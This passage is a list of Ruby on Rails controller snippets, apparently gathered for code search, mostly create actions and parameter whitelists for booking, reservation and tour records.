}\n else\n format.html { render :new }\n format.json { render json: @booking.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @booking = Booking.new(booking_params)\n @booking.user_id = current_user.id\n respond_to do |format|\n if @booking.save\n format.html { redirect_to @booking, notice: 'Booking was successfully created.' }\n format.json { render :show, status: :created, location: @booking }\n else\n format.html { render :new }\n format.json { render json: @booking.errors, status: :unprocessable_entity }\n end\n end\n end", "def tour_booking_params\n params.require(:tour_booking).permit(:tour_detail_id, :name, :price, :status, :time)\n end", "def create\n @booking = @instrument.bookings.new(booking_params)\n @booking.user = current_user\n respond_to do |format|\n if @booking.save\n format.html { redirect_to @booking, notice: t('.success') }\n format.json { render :show, status: :created, location: @booking }\n else\n format.html { render :new }\n format.json { render json: @booking.errors, status: :unprocessable_entity }\n end\n end\n end", "def booking_params\n params.require(:booking).permit(:user_id, :restaurant_id, :date, :time)\n end", "def create\n respond_to do |format|\n if @taxi_booking.save\n store_trip_in_session(@taxi_booking.trip_id)\n\n format.html { redirect_to @taxi_booking, notice: 'Taxi booking was successfully created.' }\n format.json { render json: @taxi_booking, status: :created, location: @taxi_booking }\n else\n format.html { render action: \"new\" }\n format.json { render json: @taxi_booking.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @booking = Booking.new(booking_params)\n @tour = Tour.find(booking_params[:tour_id])\n @booking_waitlisted = Booking.new(booking_params)\n if (@tour.seats.to_i >= booking_params[:seats_booked].to_i)\n seats = @tour.seats.to_i - booking_params[:seats_booked].to_i\n @tour.seats = seats\n @tour.save\n @booking.status = 1\n else\n if (booking_params[:preference] == \"Book available seats\" && @tour.seats.to_i > 0)\n @booking.seats_booked = @tour.seats\n seats = 0\n @tour.seats = seats\n @tour.save\n @booking.status = 1\n elsif (booking_params[:preference] == \"Book Available seats and add remaining to waitlist\")\n @booking.seats_booked = @tour.seats\n @tour.seats = 0\n @tour.save\n @booking.status = 1\n\n # to handle waitlist seats\n @booking_waitlisted.seats_booked = @booking_waitlisted.seats_booked - @booking.seats_booked\n @booking_waitlisted.status = 0\n @booking_waitlisted.save\n elsif (booking_params[:preference] == \"Book only if all seats are available\")\n @booking.status = 0\n end\n end\n respond_to do |format|\n if @booking.save\n format.html { redirect_to bookings_url, notice: 'Booking was successfully created.' }\n format.json { render :show, status: :created, location: @booking }\n else\n format.html { render :new }\n format.json { render json: @booking.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n\n checkIn = parse_datetime_params booking_params, \"check_in\", utc_or_local = \"AEST\"\n checkOut = parse_datetime_params booking_params, \"checkout\", utc_or_local = \"AEST\"\n @service_id = params[:booking][:service_id].to_i\n @consultant_id = Service.find(@service_id).user_id\n @consumer_id = current_user.id\n\n @booking = Booking.new({\n consultant_id: @consultant_id,\n consumer_id: @consumer_id,\n service_id: @service_id,\n status: \"Unconfirmed\",\n check_in: checkIn,\n checkout: checkOut\n })\n\n respond_to do |format|\n if @booking.save\n # ContactMailer.send_contact_email(message:\"Accepted\").deliver_now\n format.html { redirect_to @booking, notice: 'Booking was successfully created. This booking will not be confirmed until the consultant approves it.' }\n format.json { render :show, status: :created, location: @booking }\n else\n format.html { render :new }\n format.json { render json: @booking.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n\n ## Add logic for completed trips\n\n booking_params[:user_id] = current_user.id\n # puts booking_params[:user_id]\n @booking = Booking.new(booking_params.except(:option))\n @tour = Tour.find(booking_params[:tour_id])\n @overbooked = false\n ready = false\n\n # puts @booking.no_of_seats\n # puts @tour.avail_seats\n if @booking.no_of_seats > @tour.avail_seats\n @overbooked = true\n end\n\n\n\n # puts booking_params\n respond_to do |format|\n if @overbooked\n if booking_params['option'] == \"Book only avaialble seats\"\n @booking.no_of_seats = @tour.avail_seats\n message = \"We were able to book \" + @booking.no_of_seats.to_s + \" seats for you.\"\n ready = true\n elsif booking_params['option'] == \"Book all avaialble seats and waitlist remaining\"\n waitlist_count = @booking.no_of_seats - @tour.avail_seats\n @booking.no_of_seats = @tour.avail_seats\n waitlist = Waitlist.new({\"user_id\" => current_user.id, \"tour_id\" => booking_params[:tour_id], \"no_of_seats\" => waitlist_count}).save\n ready = true\n @tour.avail_waitlist = waitlist_count\n @tour.save\n elsif booking_params['option'] == \"Add all seats to Waitlist\"\n waitlist_count = @booking.no_of_seats\n @booking.no_of_seats = 0\n waitlist = Waitlist.new({\"user_id\" => current_user.id, \"tour_id\" => booking_params[:tour_id], \"no_of_seats\" => waitlist_count}).save\n ready = true\n @tour.avail_waitlist = waitlist_count\n @tour.save\n else\n end\n end\n\n if(@booking.no_of_seats <1)\n message = 'Unable to confirm any seats.'\n end\n\n if (ready or not @overbooked) and (@booking.no_of_seats <1 or @booking.save)\n @tour.avail_seats = @tour.avail_seats - @booking.no_of_seats\n @tour.save\n format.html { redirect_to @booking, notice: message }\n format.json { render :show, status: :created, location: @booking }\n else\n format.html { render :new }\n format.json { render json: @booking.errors, status: :unprocessable_entity }\n end\n\n end\nend", "def create\n @booking = Booking.new\n @booking.ride = @ride\n @booking.user = current_user\n @booking.booking_status = 'pending'\n if @booking.save!\n redirect_to dashboard_path\n else\n render :new\n end\n end", "def create\n # puts params\n @booking = Booking.new(booking_params)\n respond_to do |format|\n if Booking.validate(booking_params) and Booking.time_checking(@booking) and @booking.save\n # if @booking.save\n format.html { redirect_to @booking, notice: 'Booking was successfully created.'}\n format.json { render :index, status: :created, location: @booking }\n else\n # @listing_id = @booking.listing_id\n format.html { redirect_to bookings_new_path(:listing_id => @booking.listing_id)}\n format.json { render json: @booking.errors, status: :unprocessable_entity }\n flash[:notice] = \"The date is invalid or is booked.\"\n end\n end\n end", "def create\n @bookalawn = Bookalawn.new(bookalawn_params)\n\n respond_to do |format|\n if @bookalawn.save\n format.html { redirect_to @bookalawn, notice: 'Booking was successfully created.' }\n format.json { render action: 'show', status: :created, location: @bookalawn }\n else\n format.html { render action: 'new' }\n format.json { render json: @bookalawn.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @tablebooking = Tablebooking.new(tablebooking_params)\n\n respond_to do |format|\n if @tablebooking.save\n format.html { redirect_to @tablebooking, notice: 'Tablebooking was successfully created.' }\n format.json { render :show, status: :created, location: @tablebooking }\n else\n format.html { render :new }\n format.json { render json: @tablebooking.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @reservation = Reservation.new(params[:reservation])\n @reservation.user_id = current_user.id\n\n respond_to do |format|\n if @reservation.save\n\n # UserMailer.booking_create(current_user, @reservation).deliver\n # OwnerMailer.booking_create(@reservation).deliver\n\n Reward.create( user_id: @reservation.user_id, \n reservation_id: @reservation.id, \n points_total: 5*@reservation.party_size, \n points_pending: 5*@reservation.party_size, \n description: \"\")\n \n format.html { redirect_to @reservation, notice: 'Reservation was successfully created.' }\n format.json { render json: @reservation, status: :created, location: @reservation }\n else\n format.html { render action: \"new\" }\n format.json { render json: @reservation.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n # @booking = Booking.new(booking_params)\n #@available_seats = Bus.find(:id Journey.find_by(id: booking_params[:journey_id]).bus_id).max_seats - Booking.where(journey_id: booking_params[:journey_id]).sum(:seats_count)\n #@available_seats\n p booking_params\n# booking_params[:status] = \"Pending\"\n @booking = current_user.bookings.build(booking_params)\n @booking.status =\"1\"\n respond_to do |format|\n if @booking.save\n flash[:success] = \"Booking Successful!!!\"\n format.html { redirect_to @booking}\n format.json { render :show, status: :created, location: @booking }\n else\n format.html { render :new }\n format.json { render json: @booking.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @booking = @user.bookings.new(booking_params)\n @booking.movie = @movie\n @booking.tickets = @booking.build_tickets(ticket_types_params)\n\n respond_to do |format|\n if @booking.save\n format.html { redirect_to seats_movie_booking_path(@movie,@booking) }\n format.json { render :show, status: :created, location: @booking }\n else\n format.html { render :new }\n format.json { render json: @booking.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @booking_waitlist = BookingWaitlist.new(booking_waitlist_params)\n\n respond_to do |format|\n if @booking_waitlist.save\n format.html { redirect_to @booking_waitlist, notice: 'Booking waitlist was successfully created.' }\n format.json { render :show, status: :created, location: @booking_waitlist }\n else\n format.html { render :new }\n format.json { render json: @booking_waitlist.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @order = Order.new\n session[:order_id] = @order.id\n @booking = Booking.new(booking_params)\n session[:booking_id] = @booking.id\n @[email protected]\n @order.user_id=current_user.id\n respond_to do |format|\n @destinations=Destination.all\n session[:destination] = @destinations[@booking.destination_id-1].name\n if @booking.save\n session[:booking_id] = @booking.id\n format.html { redirect_to url_for(:controller => 'activity_categories', :action => :list) }\n format.json { render :show, status: :created, location: @booking }\n else\n session[:booking_id] = @booking.id\n format.html { render :new }\n format.json { render json: @booking.errors, status: :unprocessable_entity }\n end\n end\n end", "def booking_params\n params.require(:booking).permit(:start_day, :end_day, :hikers_nb, :user_id, :refuge_id, :status, :payment, :amount)\n end", "def booking_params\n params.require(:booking).permit(:status, :seatsToBook, :username, :tourname, :user_id, :tour_id, :mode_of_booking)\n end", "def create\n @booking = Booking.new(booking_params)\n respond_to do |format|\n if @booking.save(booking_params)\n format.html { redirect_to week_path, notice: 'Booking was successfully created.' }\n format.json { render :show, status: :created, location: month_path }\n else\n format.html { redirect_to week_path, notice: 'Booking overlaps with current booking' }\n format.json { render json: @booking.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @booking = Booking.new(booking_params.merge(user_id: current_user.id))\n respond_to do |format|\n if @booking.save\n format.html { redirect_to action: :index, notice: 'Booking was successfully created.' }\n else\n format.html { render :new }\n end\n end\n end", "def create\n @online_booking = OnlineBooking.new(online_booking_params)\n\n respond_to do |format|\n if @online_booking.save\n format.html { redirect_to @online_booking, notice: 'Online booking was successfully created.' }\n format.json { render :show, status: :created, location: @online_booking }\n else\n format.html { render :new }\n format.json { render json: @online_booking.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n # Check for dates/times overlapping\n puts current_user[:id], \"CURRENT USER\"\n overlap = Booking.where('end_date > ? AND start_date < ?', booking_params[:start_date], booking_params[:end_date])\n\n # If room is free, create booking\n if overlap.length.zero? \n booking = Booking.create!(booking_params)\n render json: { status: 'SUCCESS', message: 'Booking created', data: booking }, status: :ok\n else\n render json: { status: 'ERROR', message: 'Cannot create booking, date already booked' }, status: :unprocessable_entity\n end\n end", "def booking_params\n params.require(:booking).permit(:pnr, :seats, :seatclass, :dateofjourney, :source, :destination, :flight_id)\n end", "def create\n @booking = current_user.bookings.build(booking_params)\n @booking.user = current_user\n logger = MyLogger.instance\n logger.logInformation(\"A new booking made for: \" + @booking.cut)\n respond_to do |format|\n if @booking.save\n format.html { redirect_to @booking, notice: 'Booking was successfully created.' }\n format.json { render :show, status: :created, location: @booking }\n else\n format.html { render :new }\n format.json { render json: @booking.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n user = User.find(current_user.id)\n @tourney = user.tourneys.create(tourney_params)\n\n respond_to do |format|\n if @tourney.save\n foro = Foro.create({:title => \"Forum of \" + @tourney.name, :description => \"In this forum you can ask any doubt you have about the procedures, rules, etc. of the tourney. In adittion, all the news regardles the tourney will be posted here by \"})\n @tourney.foro = foro\n format.html { redirect_to @tourney, notice: 'Tourney was successfully created.' }\n format.json { render :show, status: :created, location: @tourney }\n \n else\n format.html { render :new }\n format.json { render json: @tourney.errors, status: :unprocessable_entity }\n format.js \n end\n end\n end", "def create\n \n @booking = Booking.new(params[:booking])\n params[:booking][:end_time] = @booking.end_time\n \n\n \n @booking = Booking.new(params[:booking])\n if @booking.weights == 1\n @booking.no_ergs = 0\n end\n \n respond_to do |format|\n if @booking.save\n flash[:notice] = 'Your booking was successfully created.'\n format.html { redirect_to bookings_path }\n format.xml { render :xml => @booking, :status => :created, :location => @booking }\n else\n format.html { render :action => \"index\" }\n format.xml { render :xml => @booking.errors, :status => :unprocessable_entity }\n end\n end\n end", "def booking_params\n params.require(:booking).permit(:lesson_date, :start_at, :end_at)\n end", "def create\n puts \"------params create #{params.inspect}\"\n # @booking = current_user.bookings.create(booking_params)\n # redirect_to @booking.item, notice: \"Your booking has been created...\"\n @item = Item.find(params[:item_id])\n @booking = @item.bookings.build(booking_params)\n\n @booking.user = current_user\n\n if params[:commit] == 'Book'\n puts @booking.start_date.strftime(\"%Y-%m-%d\").inspect\n @start_date = @booking.start_date.strftime(\"%Y-%m-%d\")\n @end_date = @booking.end_date.strftime(\"%Y-%m-%d\")\n\n found = false\n @all_bookings = Booking.all\n\n @all_bookings.each do |booking|\n if booking.has_paid == TRUE\n start_date= booking.start_date.strftime(\"%Y-%m-%d\")\n end_date = booking.end_date.strftime(\"%Y-%m-%d\")\n if @start_date.between?(start_date, end_date) || @end_date.between?(start_date, end_date)\n if booking.item_id == @booking.item_id\n found = true\n end\n end\n end\n end\n\n if found == true\n redirect_to request.referrer, notice: \"This dress is already booked for this period.\"\n else\n @booking.save!\n redirect_to edit_item_booking_url(@item,@booking), notice: \"You have booked the dress successfully. Please contact owner to fix a time for trial or directly proceed with payment.\"\n end\n end\n\n if params[:commit] == 'Pay'\n respond_to do |format|\n if @booking.save && params[:commit] == 'Pay'\n format.html { redirect_to item_booking_url(@item,@booking), notice: 'Invoice' }\n format.json { render :show, status: :created, location: @booking }\n # f.json { render action: 'show', status: :created, location: @step }\n else\n format.html { render action: 'new' }\n format.json { render json: @booking.errors, status: :unprocessable_entity }\n end\n\n end\n end\n\n end", "def create\n @booking = Booking.new(booking_params)\n# @booking.user_id = params[:booking][:user_id]\n if @booking.save\n redirect_to unlok_air_path(params[:booking][:item_id])\n else\n render :new\n end\n end", "def journey_booking_params\n params[:journey_booking].permit(:driver_journey_id, :passenger_journey_id)\n end", "def booking(data)\n payload = safe_access(data)\n\n params = {\n property_id: payload.get(\"inquiry.room.property_id\"),\n inquiry_id: payload.get(\"inquiry.id\"),\n unit_id: payload.get(\"inquiry.room.unit_id\"),\n check_in: payload.get(\"inquiry.check_in\"),\n check_out: payload.get(\"inquiry.check_out\"),\n guests: payload.get(\"inquiry.num_guests\"),\n subtotal: payload.get(\"inquiry.subtotal\"),\n currency_code: payload.get(\"inquiry.currency_code\"),\n customer: {\n first_name: payload.get(\"inquiry.user.first_name\"),\n last_name: payload.get(\"inquiry.user.last_name\"),\n email: payload.get(\"inquiry.user.email\"),\n phone: payload.get(\"inquiry.user.phone_number\")\n }\n }\n\n env[\"rack.input\"] = StringIO.new(json_encode(params))\n true\n end", "def set_tour_booking\n @tour_booking = TourBooking.find(params[:id])\n end", "def booking_params\n params.require(:booking).permit(:campground_id, :client_id, :status, :arrival_date, :departure_date)\n end", "def create\n @sighting = Sighting.new(sighting_params)\n\n if @sighting.save\n render json: @sighting, status: :created, location: @sighting\n else\n render json: @sighting.errors, status: :unprocessable_entity\n end\n end", "def create\n @sighting = Sighting.new(sighting_params)\n\n if @sighting.save\n render json: @sighting, status: :created, location: @sighting\n else\n render json: @sighting.errors, status: :unprocessable_entity\n end\n end", "def create\n \n # # Get the user_id\n user_id = current_user.id\n # # Get the trip_id \n trip_id = request[:trip_id].to_i\n # # Find the trip by id\n trip = Trip.find_by(id:trip_id)\n # cal the total of booking\n total = trip.price * params[:participant_number].to_i\n # # Create a booking includs user_id, trip_id, total\n @booking = Booking.create({user_id:user_id,trip_id:trip_id,total:total})\n\n \n # // the number of form send it\n length = participant_params[\"first_name\"].length\n # //make them in separate object\n length.times do |index|\n participant = {}\n participant_params.each do |key,value|\n participant[key] = value[index]\n end\n @participant = Participant.new(participant)\n @participant[:booking_id] = @booking.id\n @participant.save\n end\n \n respond_to do |format|\n if @participant.save\n format.html { redirect_to booking_path(@booking.id), notice: \"تـم الحـجـز بنـجاح, شكراُ لـثـقتكـم\" }\n format.json { render :show, status: :created, location: @participant }\n else\n format.html { render :new }\n format.json { render json: @participant.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n set_parent\n set_session\n if @session.bookings.where(user_id: @parent.id) != []\n render_booked\n else\n @booking = Booking.new(booking_params)\n @booking.parent = @parent\n @booking.session = @session\n if @booking.save\n render json: { booking: @booking, status: :success }\n else\n render_error\n end\n end\n end", "def tourney_params\n params.require(:tourney).permit(:title, :desc, :start_date, :end_date, :user_id, :venue_id, :game_type_id, :tourney_type_id, :game_id)\n end", "def create \n @start_time = DateTime.parse(params[\"booking\"][\"start_time(1i)\"].to_s + '-' + params[\"booking\"][\"start_time(2i)\"].to_s + '-' + params[\"booking\"][\"start_time(3i)\"].to_s + ' ' + params[\"booking\"][\"start_time(4i)\"].to_s + ':' + params[\"booking\"][\"start_time(5i)\"].to_s + ':' + '0')\n \n @end_time = DateTime.parse(params[\"booking\"][\"end_time(1i)\"].to_s + '-' + params[\"booking\"][\"end_time(2i)\"].to_s + '-' + params[\"booking\"][\"end_time(3i)\"].to_s + ' ' + params[\"booking\"][\"end_time(4i)\"].to_s + ':' + params[\"booking\"][\"end_time(5i)\"].to_s + ':' + '0')\n \n @booking = Booking.new(:price => params[:hiddenPrice], :parking_space_id => params[:parking_space_id], :user_id => current_user.id, :start_time => @start_time, :end_time => @end_time)\n \n @booking.save\n\n redirect_to new_charge_path(booking: @booking, price: params[:hiddenPrice])\n # after saving redirect to charges controller to make the charge. Example of how to link to a route with nested resources:\n # redirect_to parking_space_booking_path(@parking_space, @booking)\n end", "def create\n # @user = User.find(params[:user_id])\n # parking = Parking.find(params[:parking_id])\n # @booking = @user.bookings.build(parking: parking, user: @user)\n @booking = @user.bookings.build(parking: @parking)\n @booking.update(booking_params)\n\n\n\n respond_to do |format|\n if @booking.save\n format.html { redirect_to @booking, notice: 'Booking was successfully created.' }\n format.json { render :show, status: :created, location: @booking }\n else\n format.html { render :new }\n format.json { render json: @booking.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @tour = current_user.tours.new(params[:tour])\n\n respond_to do |format|\n if @tour.save\n format.html { redirect_to @tour, :notice => 'Tour was successfully created.' }\n format.xml { render :xml => @tour, :status => :created, :location => @tour }\n format.json { render :json => @tour, :status => :created, :location => @tour }\n else\n format.html { render :action => \"new\", :status => :unprocessable_entity }\n format.xml { render :xml => @tour.errors, :status => :unprocessable_entity }\n format.json { render :json => @tour.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n save_params\n @booking = Booking.build(params[:booking])\n @booking.save\n redirect_to :back\n end", "def booking_params\n params.require(:booking).permit(:fan_id, :user_id, :start_date, :end_date, :status)\n end", "def create\n # @tossup = tossup.new(tossup_params)\n #\n # if @tossup.save\n # render :show, status: :created, location: @tossup\n # else\n # render json: @tossup.errors, status: :unprocessable_entity\n # end\n end", "def create\n # @tossup = tossup.new(tossup_params)\n #\n # if @tossup.save\n # render :show, status: :created, location: @tossup\n # else\n # render json: @tossup.errors, status: :unprocessable_entity\n # end\n end", "def create \n bparams = booking_params\n bparams[:created_by] = User.find_by_name(session[:user])\n bparams[:date] = Date.strptime(session[:date], \"%d.%m.%Y\")\n \n bparams[:accounting_number] = Booking.where(account_id: bparams[:account_id]).map {|b| b.accounting_number}.compact.max.to_i+1\n \n @booking = Booking.new(bparams)\n\n respond_to do |format|\n if @booking.save\n format.html { redirect_to :back, notice: 'Booking was successfully created.' }\n format.json { render :show, status: :created, location: @booking }\n else\n format.html { render :new }\n format.json { render json: @booking.errors, status: :unprocessable_entity }\n end\n end\n end", "def tour_params\n params.require(:tour).permit(:tourname, :description, :price, :deadline, :startDate, :endDate, :totalSeats, :contactInfo, :username, :user_id)\n end", "def create\n @tour_date = TourDate.new(params[:tour_date])\n\n respond_to do |format|\n if @tour_date.save\n format.html { redirect_to @tour_date, notice: 'Tour date was successfully created.' }\n format.json { render json: @tour_date, status: :created, location: @tour_date }\n else\n format.html { render action: \"new\" }\n format.json { render json: @tour_date.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n invalid_booking = false\n duration = params[:booking][:duration].to_i\n quantity = params[:booking][:quantity].to_i\n bk_day = params[:booking][:booking_day]\n bk_day = Date.strptime(bk_day, '%Y-%m-%d')\n last_day = bk_day + duration.days\n room = params[:booking][:room_id]\n @bookings = []\n @availability_update = []\n\n #Check Availability for room on each day and given quantity.\n #If all available for all days, create bookings and save.\n #Reduce Availability quantity for each day.\n\n (bk_day..last_day).each {|day|\n available = Availability.where(available_day:day).where(room_id:room).where(\"quantity>?\",quantity).first\n\n if available\n #build on params and given date.\n #then add to array of bookings/\n @booking = current_user.bookings.build(booking_params)\n @booking.booking_day = day\n @bookings << @booking\n available.quantity = available.quantity - quantity\n @availability_update << available\n else\n invalid_booking = true\n break\n end\n }\n\n if !invalid_booking\n @bookings.each(&:save!)\n @availability_update.each(&:save!)\n render :json => current_user.bookings, status: :created\n else\n puts 'invalid booking'\n render :json => current_user.bookings, status: :unprocessable_entity\n end\n\n end", "def create\n @tblbooking = TblBooking.new(tblbooking_params)\n\n respond_to do |format|\n if @tblbooking.save\n @schedule = TblSchedule.find(@tblbooking.tbl_schedules_id)\n @schedule.isTaken = true\n @schedule.save\n \n @tblbooking.dateTime = @schedule.dateTime\n @tblbooking.tbl_users_id = @schedule.tbl_users_id\n @tblbooking.save\n\n format.html { redirect_to @tblbooking, notice: 'Booking was successfully created.' }\n format.json { render :show, status: :created, location: @tblbooking }\n else\n format.html { render :new }\n format.json { render json: @tblbooking.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @booking = Booking.new(booking_params)\n @booking.treehouse = @treehouse\n @booking.user = current_user\n authorize @booking\n\n if @booking.save\n flash[:notice] = \"Booking Confirmed!\"\n redirect_to user_path(current_user)\n\n else\n flash[:alert] = \"Booking Failed\"\n redirect_to @treehouse\n end\n end", "def create\n @start_date = booking_params[:start_date]\n @end_date = booking_params[:end_date]\n @hospital = @doctor.hospital\n @booking = Booking.new(booking_params)\n @booking.user = current_user\n respond_to do |format|\n if @booking.save\n notice = \"Booking doctor #{@doctor.name} at #{@start_date.to_datetime.strftime('%d-%A-%Y')} #{@start_date.to_datetime.strftime('%H-%M')} until #{@end_date.to_datetime.strftime('%H-%M')} succeded\"\n format.html { redirect_to \"/hospitals/#{@hospital.slug}/doctors/#{@doctor.slug}\", notice: notice}\n format.json { render :show, status: :created, location: @booking }\n else\n format.html { render :new, locals: { start_date: @start_date, end_date: @end_date } }\n format.json { render json: @booking.errors, status: :unprocessable_entity }\n end\n end\n\n end", "def booking_params\n params.fetch(:booking, {}).permit(:user_id, :seat_id, :start_at, :end_at)\n end", "def create\n @@param2 = params[:param2]\n @pending_booking = PendingBooking.find(@@param2)\n @booking = Booking.new(:total_price => @pending_booking.total_price,\n :date=>@pending_booking.date,\n :start_time=>@pending_booking.start_time,\n :doctor_id=>@pending_booking.doctor_id,\n :patient_id=>@pending_booking.patient_id,\n :bill => @pending_booking.bill) \n @bookings_doc = Booking.where('doctor_id=' + current_user.id.to_s)\n \n if @booking.save\n @pending_booking.destroy\n else\n flash[:notice] = \"Failed to confirm...\" \n end\n\n respond_to do |format|\n format.js\n end\n\n end", "def create\n @reservation = Reservation.new(params[:reservation])\n if user_signed_in?\n @reservation.user_id = current_user.id\n elsif owner_signed_in?\n @reservation.owner_id = current_owner.id\n @reservation.restaurant = current_owner.restaurant\n end\n\n respond_to do |format|\n if @reservation.save\n\n if user_signed_in?\n Reward.create( user_id: @reservation.user_id, \n reservation_id: @reservation.id, \n points_total: 5*@reservation.party_size, \n points_pending: 5*@reservation.party_size, \n description: \"\")\n end\n \n if user_signed_in?\n format.html { redirect_to @reservation, notice: 'Reservation was successfully created.' }\n format.json { render json: @reservation, status: :created, location: @reservation }\n else\n format.html { redirect_to root_url, notice: 'Reservation was successfully created.' }\n end\n\n # UserMailer.booking_create(current_user, @reservation).deliver\n # OwnerMailer.booking_create(@reservation).deliver\n else\n format.html { render action: \"new\" }\n # format.html { redirect_to new_reservation_path(reservation: params[:reservation]) }\n format.json { render json: @reservation.errors, status: :unprocessable_entity }\n end\n\n end\n end", "def create\n @bookable = Bookable.new(bookable_params)\n @bookable.calendar_bookables\n\n respond_to do |format|\n if @bookable.save\n format.html { redirect_to @bookable, notice: 'Bookable was successfully created.' }\n format.json { render :show, status: :created, location: @bookable }\n else\n format.html { render :new }\n format.json { render json: @bookable.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @booking = Booking.new(booking_params)\n begin\n @response = Booking.create_booking(booking_options)\n @booking.log = @response\n @booking.picap_id = @response[\"_id\"]\n notice = \"Booking was successfully created.\"\n rescue RestClient::Exception => exception\n @booking.log = exception.response\n alert = exception.response\n end\n\n respond_to do |format|\n if @booking.save\n format.html { redirect_to root_path, notice: notice, alert: alert }\n format.json { render :show, status: :created, location: @booking }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @booking.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @listing = Listing.find(params[:listing_id])\n @reservation = @listing.reservations.build(reservation_params)\n @reservation.user = current_user\n if @reservation.save\n flash[:success] = \"You have placed a booking!\"\n redirect_back(fallback_location: root_path)\n else\n flash[:danger] = @reservation.errors.full_messages.to_sentence\n redirect_back(fallback_location: root_path)\n end\n end", "def create\n option=booking_params[:mode_of_booking].to_i\n @booking = Booking.new(booking_params.except(:mode_of_booking).merge(:username => session[:username], :tourname => session[:tourname], :user_id => session[:user_id], :tour_id => session[:tour_id]))\n if session[:role] != 2\n respond_to do |format|\n mode,booked,waitlisted = @booking.bookmytour(option,session)\n if mode == 0\n format.html { redirect_to @booking, notice: 'Booking was successfully created.' }\n format.json { render :show, status: :created, location: @booking }\n elsif mode == 1\n format.html { redirect_to @booking, notice: \"You have booked #{booked} seats\" }\n format.json { render :show, status: :created, location: @booking }\n elsif mode == 2\n format.html { redirect_to @booking, notice: \"You have booked #{booked} seats and are waitlisted for #{waitlisted} seats\" }\n format.json { render :show, status: :created, location: @booking }\n elsif mode == 3\n format.html { redirect_to @booking, notice: \"You have been waitlisted for #{waitlisted} seats\" }\n format.json { render :show, status: :created, location: @booking }\n else\n format.html { redirect_to new_booking_url, notice: 'Required number of seats unavailable' }\n format.json { render :show, status: :created, location: @booking }\n end\n end\n else\n\n redirect_to new_booking_url, notice:\"Only customer can book a tour\"\n\n end\n end", "def create_trip\n # Only attempt to create trip if all the necessary pieces are there\n return false unless @itinerary && @trip && @service && @user\n \n label = request_label(:book, trip_id)\n \n @http_request_bundler.add(\n label, \n @url + \"/create_trip\", \n :post,\n head: headers,\n body: body_for_booking(@booking_options).to_json\n ).response!(label)\n end", "def create\n @brochure_travel = BrochureTravel.new(params[:brochure_travel])\n\n respond_to do |format|\n if @brochure_travel.save\n format.html { redirect_to(@brochure_travel, :notice => 'Brochure travel was successfully created.') }\n format.xml { render :xml => @brochure_travel, :status => :created, :location => @brochure_travel }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @brochure_travel.errors, :status => :unprocessable_entity }\n end\n end\n end", "def set_booking_tour\n @booking_tour = BookingTour.find(params[:id])\n # @my_bookings = BookingTour.find(:all, conditions => {:user_id => current_user.id}) \n @tour = Tour.find(@booking_tour.tour_id)\n @user = User.find(@booking_tour.user_id)\n end", "def create\n @journey = Journey.new(journey_params)\n \n respond_to do |format|\n if @journey.save\n format.html { redirect_to @journey, notice: 'Journey was successfully created.' }\n format.json { render :show, status: :created, location: @journey }\n else\n format.html { render :new }\n format.json { render json: @journey.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @tour = Tour.new(tour_params)\n\n respond_to do |format|\n if @tour.save\n\n format.html { redirect_to @tour, notice: 'Tour was successfully created.' }\n format.json { render :show, status: :created, location: @tour }\n else\n format.html { render :new }\n format.json { render json: @tour.errors, status: :unprocessable_entity }\n end\n end\n end", "def booking_params\n params.require(:booking).permit(:beginning, :end, :name, :email, :catering, :seats, :sunset, :sunrise)\n end", "def booking_params\n params.permit(:activity_id, :date, :num_of_participants)\n end", "def booking_params\n params.require(:booking).permit(\n :ad_item_id, :starts_at, :ends_at, :ends_at_date,\n :ends_at_time, :starts_at_date, :starts_at_time, :status,\n :user_payment_card_id\n )\n end", "def create\n @settlement = Settlement.new(params[:settlement])\n\n respond_to do |format|\n if @settlement.save\n format.html { redirect_to @settlement, :notice => 'Settlement was successfully created.' }\n format.json { render :json => @settlement, :status => :created, :location => @settlement }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @settlement.errors, :status => :unprocessable_entity }\n end\n end\n end", "def booking_params\n params.require(:booking).permit(:booking_date, :user_id, :description)\n end", "def create\n @booking = Booking.new(booking_params)\n Room.where(:room_type_id => @booking.room_type_id).each do |room| \n @booking.room = room \n if (Booking.overlapping(@booking)).size == 0\n respond_to do |format|\n if @booking.save\n format.html {\n redirect_to \"/bookings/#{@booking.id}/payment\", notice: 'Booking was successfully created.' \n return;\n }\n format.json { render :show, status: :created, location: @booking }\n else\n format.html { \n render :new \n return\n }\n format.json { render json: @booking.errors, status: :unprocessable_entity }\n end\n end\n end\n \n end\n\n end", "def create\n #@tour = Tour.new(tour_params)\n @tour = current_user.tours.build(tour_params)\n\n respond_to do |format|\n if @tour.save\n format.html { redirect_to @tour, notice: \"Tour was successfully created.\" }\n format.json { render :show, status: :created, location: @tour }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @tour.errors, status: :unprocessable_entity }\n end\n end\n end", "def booking_params\n params.require(:booking).permit(:user_id, :room_id, :book_date, :timespot_id)\n end", "def booking_lawn\n book_lawn = Lawnbookings.where(booking_date: params[:booking_date], lawn_no: params[:lawn_no])\n \n if book_lawn.count == 0\n @book_lawn = Lawnbookings.new\n @book_lawn.lawn_no = params[:lawn_no]\n @book_lawn.booking_date = params[:booking_date]\n @book_lawn.save\n end\n if request.xhr?\n render :json => {booking_date: params[:booking_date], lawn_no: params[:lawn_no] } \n end\n end", "def create\n @booking = 